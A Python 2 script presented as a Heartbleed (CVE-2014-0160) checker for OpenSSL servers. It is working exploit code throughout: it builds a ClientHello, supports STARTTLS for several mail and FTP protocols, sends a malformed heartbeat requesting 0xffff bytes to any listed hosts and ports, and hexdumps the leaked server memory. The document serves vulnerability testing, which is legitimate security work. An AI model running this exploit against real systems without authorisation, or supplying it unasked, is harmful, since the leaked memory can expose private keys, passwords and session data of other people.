#!/usr/bin/python

# Hut3 Cardiac Arrest - A script to check OpenSSL servers for the Heartbleed bug (CVE-2014-0160).
#
# DISCLAIMER: There have been unconfirmed reports that this script can render HP iLO unresponsive.
# This script complies with the TLS specification, so responsitivity issues are likely the result 
# of a bad implementation of TLS on the server side. CNS Hut3 and Adrian Hayter do not accept
# responsibility if this script crashes a server you test it against. USE IT AT YOUR OWN RISK.
# As always, the correct way to test for the vulnerability is to check the version of OpenSSL
# installed on the server in question. OpenSSL 1.0.1 through 1.0.1f are vulnerable.
#
# This script has several advantages over similar scripts that have been released,
# including a larger list of supported TLS cipher suites, support for multiple TLS
# protocol versions (including SSLv3 since some configurations leak memory when
# SSLv3 is used). Multiple ports / hosts can be tested at once, and limited
# STARTTLS support is included.
#
#
# Examples:
#
# Test all SSL/TLS protocols against 192.168.0.1 and 192.168.0.2 on ports 443 and 8443:
#
#    python heartattack.py -p 443,8443 192.168.0.1 192.168.0.2
#
# Test the TLSv1.2 protocol against 192.168.0.1 using SMTP STARTTLS on port 25:
#
#    python heartattack.py -s smtp -p 25 -V TLSv1.2 192.168.0.1
#
#
# Several sections of code have been lifted from other detection scripts and
# modified to make them more efficient. Sources include but are likely not limited to:
#
# https://bitbucket.org/johannestaas/heartattack (johannestaas@gmail.com)
# https://gist.github.com/takeshixx/10107280 (takeshix@adversec.com)
#
# Like other authors of Heartbleed scripts, I disclaim copyright to this source code.

import sys
import struct
import socket
import time
import select
import re
import argparse
import random
import string

num_bytes_per_line = 16
display_null_bytes = False
verbose = False

starttls_options = ['none', 'smtp', 'pop3', 'imap', 'ftp']
protocol_hex_to_name = {0x00:'SSLv3', 0x01:'TLSv1.0', 0x02:'TLSv1.1', 0x03:'TLSv1.2'}
protocol_name_to_hex = dict(reversed(item) for item in protocol_hex_to_name.items())

alert_levels = {0x01:'warning', 0x02:'fatal'}
alert_descriptions = {0x00:'Close notify', 0x0a:'Unexpected message', 0x14:'Bad record MAC', 0x15:'Decryption failed', 0x16:'Record overflow ', 0x1e:'Decompression failure', 0x28:'Handshake failure', 0x29:'No certificate', 0x2a:'Bad certificate', 0x2b:'Unsupported certificate', 0x2c:'Certificate revoked', 0x2d:'Certificate expired', 0x2e:'Certificate unknown', 0x2f:'Illegal parameter', 0x30:'Unknown CA', 0x31:'Access denied', 0x32:'Decode error', 0x33:'Decrypt error', 0x3c:'Export restriction', 0x46:'Protocol version', 0x47:'Insufficient security', 0x50:'Internal error', 0x5a:'User canceled', 0x64:'No renegotiation', 0x6e:'Unsupported extension', 0x6f:'Certificate unobtainable', 0x70:'Unrecognized name', 0x71:'Bad certificate status response', 0x72:'Bad certificate hash value', 0x73:'Unknown PSK identity'}

buffer_size = 1024

def rand(size=10, chars=string.letters + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))

def hexdump(s):
    s = str(s)
    for b in xrange(0, len(s), num_bytes_per_line):
        lin = [c for c in s[b : b + num_bytes_per_line]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        if pdat:
            if display_null_bytes:
                print '  %04x: %-48s %s' % (b, hxdat, pdat)
            elif not re.match('^\.{' + str(num_bytes_per_line) + '}$', pdat):
                print '  %04x: %-48s %s' % (b, hxdat, pdat)
    sys.stdout.flush()

def hex2bin(arr):
    return ''.join('{0:02x}'.format(x) for x in arr).decode('hex')

def gen_clienthello(v):
    return hex2bin([0x16, 0x03, v, 0x02, 0xf2, 0x01, 0x00, 0x02, 0xee, 0x03, v, 0x53, 0x48, 0x73, 0xf0, 0x7c, 0xca, 0xc1, 0xd9, 0x02, 0x04, 0xf2, 0x1d, 0x2d, 0x49, 0xf5, 0x12, 0xbf, 0x40, 0x1b, 0x94, 0xd9, 0x93, 0xe4, 0xc4, 0xf4, 0xf0, 0xd0, 0x42, 0xcd, 0x44, 0xa2, 0x59,0x00, 0x02, 0x7c, 0x00, 0x00, 0x00, 0x01, 0x00, 0x02, 0x00, 0x03, 0x00, 0x04, 0x00, 0x05, 0x00, 0x06, 0x00, 0x07, 0x00, 0x08, 0x00, 0x09, 0x00, 0x0a, 0x00, 0x0b, 0x00, 0x0c, 0x00, 0x0d, 0x00, 0x0e, 0x00, 0x0f, 0x00, 0x10, 0x00, 0x11, 0x00, 0x12, 0x00, 0x13, 0x00, 0x14, 0x00, 0x15, 0x00, 0x16, 0x00, 0x17, 0x00, 0x18, 0x00, 0x19, 0x00, 0x1a, 0x00, 0x1b, 0x00, 0x1e, 0x00, 0x1f, 0x00, 0x20, 0x00, 0x21, 0x00, 0x22, 0x00, 0x23, 0x00, 0x24, 0x00, 0x25, 0x00, 0x26, 0x00, 0x27, 0x00, 0x28, 0x00, 0x29, 0x00, 0x2a, 0x00, 0x2b, 0x00, 0x2c, 0x00, 0x2d, 0x00, 0x2e, 0x00, 0x2f, 0x00, 0x30, 0x00, 0x31, 0x00, 0x32, 0x00, 0x33, 0x00, 0x34, 0x00, 0x35, 0x00, 0x36, 0x00, 0x37, 0x00, 0x38, 0x00, 0x39, 0x00, 0x3a, 0x00, 0x3b, 0x00, 0x3c, 0x00, 0x3d, 0x00, 0x3e, 0x00, 0x3f, 0x00, 0x40, 0x00, 0x41, 0x00, 0x42, 0x00, 0x43, 0x00, 0x44, 0x00, 0x45, 0x00, 0x46, 0x00, 0x67, 0x00, 0x68, 0x00, 0x69, 0x00, 0x6a, 0x00, 0x6b, 0x00, 0x6c, 0x00, 0x6d, 0x00, 0x84, 0x00, 0x85, 0x00, 0x86, 0x00, 0x87, 0x00, 0x88, 0x00, 0x89, 0x00, 0x8a, 0x00, 0x8b, 0x00, 0x8c, 0x00, 0x8d, 0x00, 0x8e, 0x00, 0x8f, 0x00, 0x90, 0x00, 0x91, 0x00, 0x92, 0x00, 0x93, 0x00, 0x94, 0x00, 0x95, 0x00, 0x96, 0x00, 0x97, 0x00, 0x98, 0x00, 0x99, 0x00, 0x9a, 0x00, 0x9b, 0x00, 0x9c, 0x00, 0x9d, 0x00, 0x9e, 0x00, 0x9f, 0x00, 0xa0, 0x00, 0xa1, 0x00, 0xa2, 0x00, 0xa3, 0x00, 0xa4, 0x00, 0xa5, 0x00, 0xa6, 0x00, 0xa7, 0x00, 0xa8, 0x00, 0xa9, 0x00, 0xaa, 0x00, 0xab, 0x00, 0xac, 0x00, 0xad, 0x00, 0xae, 0x00, 0xaf, 0x00, 0xb0, 0x00, 0xb1, 0x00, 0xb2, 0x00, 0xb3, 0x00, 0xb4, 0x00, 0xb5, 0x00, 0xb6, 0x00, 0xb7, 0x00, 0xb8, 0x00, 0xb9, 0x00, 0xba, 0x00, 0xbb, 0x00, 0xbc, 0x00, 0xbd, 0x00, 0xbe, 0x00, 0xbf, 0x00, 0xc0, 0x00, 0xc1, 0x00, 0xc2, 0x00, 0xc3, 0x00, 0xc4, 0x00, 0xc5, 0x00, 0xff, 0xc0, 0x01, 0xc0, 0x02, 0xc0, 0x03, 0xc0, 0x04, 0xc0, 0x05, 0xc0, 0x06, 0xc0, 0x07, 0xc0, 0x08, 0xc0, 0x09, 0xc0, 0x0a, 0xc0, 0x0b, 0xc0, 0x0c, 0xc0, 0x0d, 0xc0, 0x0e, 0xc0, 0x0f, 0xc0, 0x10, 0xc0, 0x11, 0xc0, 0x12, 0xc0, 0x13, 0xc0, 0x14, 0xc0, 0x15, 0xc0, 0x16, 0xc0, 0x17, 0xc0, 0x18, 0xc0, 0x19, 0xc0, 0x1a, 0xc0, 0x1b, 0xc0, 0x1c, 0xc0, 0x1d, 0xc0, 0x1e, 0xc0, 0x1f, 0xc0, 0x20, 0xc0, 0x21, 0xc0, 0x22, 0xc0, 0x23, 0xc0, 0x24, 0xc0, 0x25, 0xc0, 0x26, 0xc0, 0x27, 0xc0, 0x28, 0xc0, 0x29, 0xc0, 0x2a, 0xc0, 0x2b, 0xc0, 0x2c, 0xc0, 0x2d, 0xc0, 0x2e, 0xc0, 0x2f, 0xc0, 0x30, 0xc0, 0x31, 0xc0, 0x32, 0xc0, 0x33, 0xc0, 0x34, 0xc0, 0x35, 0xc0, 0x36, 0xc0, 0x37, 0xc0, 0x38, 0xc0, 0x39, 0xc0, 0x3a, 0xc0, 0x3b, 0xc0, 0x3c, 0xc0, 0x3d, 0xc0, 0x3e, 0xc0, 0x3f, 0xc0, 0x40, 0xc0, 0x41, 0xc0, 0x42, 0xc0, 0x43, 0xc0, 0x44, 0xc0, 0x45, 0xc0, 0x46, 0xc0, 0x47, 0xc0, 0x48, 0xc0, 0x49, 0xc0, 0x4a, 0xc0, 0x4b, 0xc0, 0x4c, 0xc0, 0x4d, 0xc0, 0x4e, 0xc0, 0x4f, 0xc0, 0x50, 0xc0, 0x51, 0xc0, 0x52, 0xc0, 0x53, 0xc0, 0x54, 0xc0, 0x55, 0xc0, 0x56, 0xc0, 0x57, 0xc0, 0x58, 0xc0, 0x59, 0xc0, 0x5a, 0xc0, 0x5b, 0xc0, 0x5c, 0xc0, 0x5d, 0xc0, 0x5e, 0xc0, 0x5f, 0xc0, 0x60, 0xc0, 0x61, 0xc0, 0x62, 0xc0, 0x63, 0xc0, 0x64, 0xc0, 0x65, 0xc0, 0x66, 0xc0, 0x67, 0xc0, 0x68, 0xc0, 0x69, 0xc0, 0x6a, 0xc0, 0x6b, 0xc0, 0x6c, 0xc0, 0x6d, 0xc0, 0x6e, 0xc0, 0x6f, 0xc0, 0x70, 0xc0, 0x71, 0xc0, 0x72, 0xc0, 0x73, 0xc0, 0x74, 0xc0, 0x75, 0xc0, 0x76, 0xc0, 0x77, 0xc0, 0x78, 0xc0, 0x79, 0xc0, 0x7a, 0xc0, 0x7b, 0xc0, 0x7c, 0xc0, 0x7d, 0xc0, 0x7e, 0xc0, 0x7f, 0xc0, 0x80, 0xc0, 0x81, 0xc0, 0x82, 0xc0, 0x83, 0xc0, 0x84, 0xc0, 0x85, 0xc0, 0x86, 0xc0, 0x87, 0xc0, 0x88, 0xc0, 0x89, 0xc0, 0x8a, 0xc0, 0x8b, 0xc0, 0x8c, 0xc0, 0x8d, 0xc0, 0x8e, 0xc0, 0x8f, 0xc0, 0x90, 0xc0, 0x91, 0xc0, 0x92, 0xc0, 0x93, 0xc0, 0x94, 0xc0, 0x95, 0xc0, 0x96, 0xc0, 0x97, 0xc0, 0x98, 0xc0, 0x99, 0xc0, 0x9a, 0xc0, 0x9b, 0xc0, 0x9c, 0xc0, 0x9d, 0xc0, 0x9e, 0xc0, 0x9f, 0xc0, 0xa0, 0xc0, 0xa1, 0xc0, 0xa2, 0xc0, 0xa3, 0xc0, 0xa4, 0xc0, 0xa5, 0xc0, 0xa6, 0xc0, 0xa7, 0xc0, 0xa8, 0xc0, 0xa9, 0xc0, 0xaa, 0xc0, 0xab, 0xc0, 0xac, 0xc0, 0xad, 0xc0, 0xae, 0xc0, 0xaf,0x01, 0x00, 0x00, 0x49, 0x00, 0x0b, 0x00, 0x04, 0x03, 0x00, 0x01, 0x02,0x00, 0x0a, 0x00, 0x34, 0x00, 0x32, 0x00, 0x0e,0x00, 0x0d, 0x00, 0x19, 0x00, 0x0b, 0x00, 0x0c,0x00, 0x18, 0x00, 0x09, 0x00, 0x0a, 0x00, 0x16,0x00, 0x17, 0x00, 0x08, 0x00, 0x06, 0x00, 0x07,0x00, 0x14, 0x00, 0x15, 0x00, 0x04, 0x00, 0x05,0x00, 0x12, 0x00, 0x13, 0x00, 0x01, 0x00, 0x02,0x00, 0x03, 0x00, 0x0f, 0x00, 0x10, 0x00, 0x11,0x00, 0x23, 0x00, 0x00,0x00, 0x0f, 0x00, 0x01, 0x01])

def gen_heartbeat(v):
    return hex2bin([0x18, 0x03, v, 0x00, 0x03, 0x01, 0xff, 0xff])

def recvall(s, length, timeout=5):
    end = time.time() + timeout
    rdata = ''
    while length > 0:
        ready = select.select([s], [], [], 1)
        if ready[0]:
            data = s.recv(length)
            if not data:
                break
            leng = len(data)
            rdata += data
            if time.time() > end:
                break
            length -= leng
        else:
            if time.time() > end:
                break
    return rdata

def recvmsg(s, timeout=5):
    hdr = recvall(s, 5, timeout)
    if hdr is None:
        return None, None, None
    elif len(hdr) == 5:
        type, version, length = struct.unpack('>BHH', hdr)
        payload = recvall(s, length, timeout)
        if payload is None:
            return type, version, None
    else:
        return None, None, None
    return type, version, payload

def attack(ip, port, tlsversion, starttls='none', timeout=5):
    tlslongver = protocol_hex_to_name[tlsversion]
    
    if starttls == 'none':
        print '[INFO] Connecting to ' + str(ip) + ':' + str(port) + ' using ' + tlslongver
    else:
        print '[INFO] Connecting to ' + str(ip) + ':' + str(port) + ' using ' + tlslongver + ' with STARTTLS'
    sys.stdout.flush()
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(timeout)
    
    try:
        s.connect((ip, port))
        
        if starttls == 'smtp':
            recvall(s, buffer_size)
            s.send('ehlo ' + rand(10) + '\n')
            res = recvall(s, buffer_size)
            if not 'STARTTLS' in res:
                print >> sys.stderr, '\033[93m[ERROR] STARTTLS does not appear to be supported.\033[0m\n'
                sys.stderr.flush()
                return False
            s.send('starttls\n')
            recvall(s, buffer_size)
        elif starttls == 'pop3':
            recvall(s, buffer_size)
            s.send("STLS\n")
            recvall(s, buffer_size)
        elif starttls == 'imap':
            recvall(s, buffer_size)
            s.send("STARTTLS\n")
            recvall(s, buffer_size)
        elif starttls == 'ftp':
            recvall(s, buffer_size)
            s.send("AUTH TLS\n")
            recvall(s, buffer_size)
        
        s.send(gen_clienthello(tlsversion))
        
        while True:
            type, version, payload = recvmsg(s, timeout)
            if type is None:
                print >> sys.stderr, '\033[93m[ERROR] The server closed the connection without sending the ServerHello. This might mean the server does not support ' + tlslongver + ' or it might not support SSL/TLS at all.\033[0m\n'
                sys.stderr.flush()
                return False
            elif type == 22 and ord(payload[0]) == 0x0E:
                break
        
        s.send(gen_heartbeat(tlsversion))
        
        while True:
            type, version, payload = recvmsg(s, timeout)
            if type is None:
                print '[INFO] No heartbeat response was received. The server is probably not vulnerable.\n'
                sys.stdout.flush()
                return False
            
            if type == 24:
                if len(payload) > 3:
                    print '\033[91m\033[1m[FAIL] Heartbeat response was ' + str(len(payload)) + ' bytes instead of 3! ' + str(ip) + ':' + str(port) + ' is vulnerable over ' + tlslongver + '\033[0m'
                    if display_null_bytes:
                        print '[INFO] Displaying response:'
                    else:
                        print '[INFO] Displaying response (lines consisting entirely of null bytes are removed):'
                    print ''
                    sys.stdout.flush()
                    hexdump(payload)
                    print ''
                    return True
                else:
                    print '[INFO] The server processed the malformed heartbeat, but did not return any extra data.\n'
                    sys.stdout.flush()
                    return False
            
            if type == 21:
                print '[INFO] The server received an alert. It is likely not vulnerable.'
                if verbose: print '[INFO] Alert Level: ' + alert_levels[ord(payload[0])]
                if verbose: print '[INFO] Alert Description: ' + alert_descriptions[ord(payload[1])] + ' (see RFC 5246 section 7.2)'
                print ''
                sys.stdout.flush()
                return False
        
        hexdump(payload)
        
        socket.close()
    except socket.error as e:
        print >> sys.stderr, '\033[93m[ERROR] Connection error. The port might not be open on the host.\033[0m\n'
        sys.stderr.flush()
        return False

def main():
    global bytes, display_null_bytes, verbose
    
    parser = argparse.ArgumentParser()
    parser.add_argument('-p', '--ports', type=str, default='443', help='Comma separated list of ports to check (default: 443)')
    parser.add_argument('-s', '--starttls', type=str, default='none', help='Use STARTTLS to upgrade the plaintext connection to SSL/TLS. Valid values: none, smtp, pop3, imap, ftp (default: none)')
    parser.add_argument('-t', '--timeout', type=int, default=5, help='Connection timeout in seconds (default: 5)')
    parser.add_argument('-b', '--bytes', type=int, default=16, help='Number of leaked bytes to display per line (default 16)')
    parser.add_argument('-n', '--null-bytes', action='store_true', default=False, help='Display lines consisting entirely of null bytes (default: False)')
    parser.add_argument('-a', '--all-versions', action='store_true', default=False, help='Continue testing all versions of SSL/TLS even if the server is found to be vulnerable (default: False)')
    parser.add_argument('-V', '--version', type=str, default='all', help='Comma separated list of SSL/TLS versions to check. Valid values: SSLv3, TLSv1.0, TLSv1.1, TLSv1.2')
    parser.add_argument('-v', '--verbose', action='store_true', default=False, help='Verbose output.')
    parser.add_argument('hosts', metavar='host', nargs='+', help='A host to scan.')
    args = parser.parse_args()
    
    args.starttls = args.starttls.lower()
    if args.starttls not in starttls_options:
        print >> sys.stderr, '\033[93m[ERROR] Invalid STARTTLS value. Valid values: none, smtp, pop3, imap, ftp.\033[0m\n'
        parser.print_help()
        sys.exit(1)
    
    bytes = args.bytes
    display_null_bytes = args.null_bytes
    verbose = args.verbose
    
    versions = []
    for v in [x.strip() for x in args.version.split(',')]:
        if v:
            versions.append(v)
    
    if 'all' not in versions:
        for v in versions:
            if v not in protocol_name_to_hex:
                print >> sys.stderr, '\033[93m[ERROR] Invalid SSL/TLS version(s). Valid values: SSLv3, TLSv1.0, TLSv1.1, TLSv1.2.\033[0m\n'
                parser.print_help()
                sys.exit(1)
    
    ports = args.ports.split(',')
    ports = list(map(int, ports))
    
    hosts = []
    
    for h in args.hosts:
        for h2 in h.split(','):
            h2 = h2.strip()
            if h2:
                hosts.append(h2)
    
    for host in hosts:
        try:
            ip = socket.gethostbyname(host)
        except socket.gaierror as e:
            print '[INFO] Testing: ' + host
            print >> sys.stderr, '\033[93m[ERROR] Could not resolve an IP address for the given host.\033[0m\n'
            sys.stderr.flush()
            continue
        
        if ip == host:
            print '[INFO] Testing: ' + host + '\n'
        else:
            print '[INFO] Testing: ' + host + ' (' + str(ip) + ')\n'
        sys.stdout.flush()
        
        for port in ports:
            if 'all' in versions:
                if (args.all_versions):
                    ssl30 = attack(ip, port, 0x00, starttls=args.starttls, timeout=args.timeout)
                    tls10 = attack(ip, port, 0x01, starttls=args.starttls, timeout=args.timeout)
                    tls11 = attack(ip, port, 0x02, starttls=args.starttls, timeout=args.timeout)
                    tls12 = attack(ip, port, 0x03, starttls=args.starttls, timeout=args.timeout)
                    
                    if not ssl30 and not tls10 and not tls11 and not tls12:
                        if ip == host:
                            print '\033[1m[PASS] ' + host + ':' + str(port) + ' does not appear to be vulnerable to Heartbleed!\033[0m\n'
                        else:
                            print '\033[1m[PASS] ' + host + ':' + str(port) + ' (' + str(ip) + ':' + str(port) +') does not appear to be vulnerable to Heartbleed!\033[0m\n'
                        sys.stdout.flush()
                else:
                    if not attack(ip, port, 0x00, starttls=args.starttls, timeout=args.timeout):
                        if not attack(ip, port, 0x01, starttls=args.starttls, timeout=args.timeout):
                            if not attack(ip, port, 0x02, starttls=args.starttls, timeout=args.timeout):
                                if not attack(ip, port, 0x03, starttls=args.starttls, timeout=args.timeout):
                                    if ip == host:
                                        print '\033[1m[PASS] ' + host + ':' + str(port) + ' does not appear to be vulnerable to Heartbleed!\033[0m\n'
                                    else:
                                        print '\033[1m[PASS] ' + host + ':' + str(port) + ' (' + str(ip) + ':' + str(port) + ') does not appear to be vulnerable to Heartbleed!\033[0m\n'
                                    sys.stdout.flush()
            else:
                if (args.all_versions):
                    vulnerable = []
                    for v in versions:
                        if attack(ip, port, protocol_name_to_hex[v], starttls=args.starttls, timeout=args.timeout):
                            vulnerable.append(True)
                    if True not in vulnerable:
                        if ip == host:
                            print '\033[1m[PASS] ' + host + ':' + str(port) + ' does not appear to be vulnerable to Heartbleed!\033[0m\n'
                        else:
                            print '\033[1m[PASS] ' + host + ':' + str(port) + ' (' + str(ip) + ':' + str(port) + ') does not appear to be vulnerable to Heartbleed!\033[0m\n'
                        sys.stdout.flush()
                else:
                    vulnerable = True
                    for v in versions:
                        vulnerable = attack(ip, port, protocol_name_to_hex[v], starttls=args.starttls, timeout=args.timeout)
                        if vulnerable:
                            break
                        else:
                            continue
                    if not vulnerable:
                        if ip == host:
                            print '\033[1m[PASS] ' + host + ':' + str(port) + ' does not appear to be vulnerable to Heartbleed!\033[0m\n'
                        else:
                            print '\033[1m[PASS] ' + host + ':' + str(port) + ' (' + str(ip) + ':' + str(port) + ') does not appear to be vulnerable to Heartbleed!\033[0m\n'
                        sys.stdout.flush()

if __name__ == '__main__':
    main()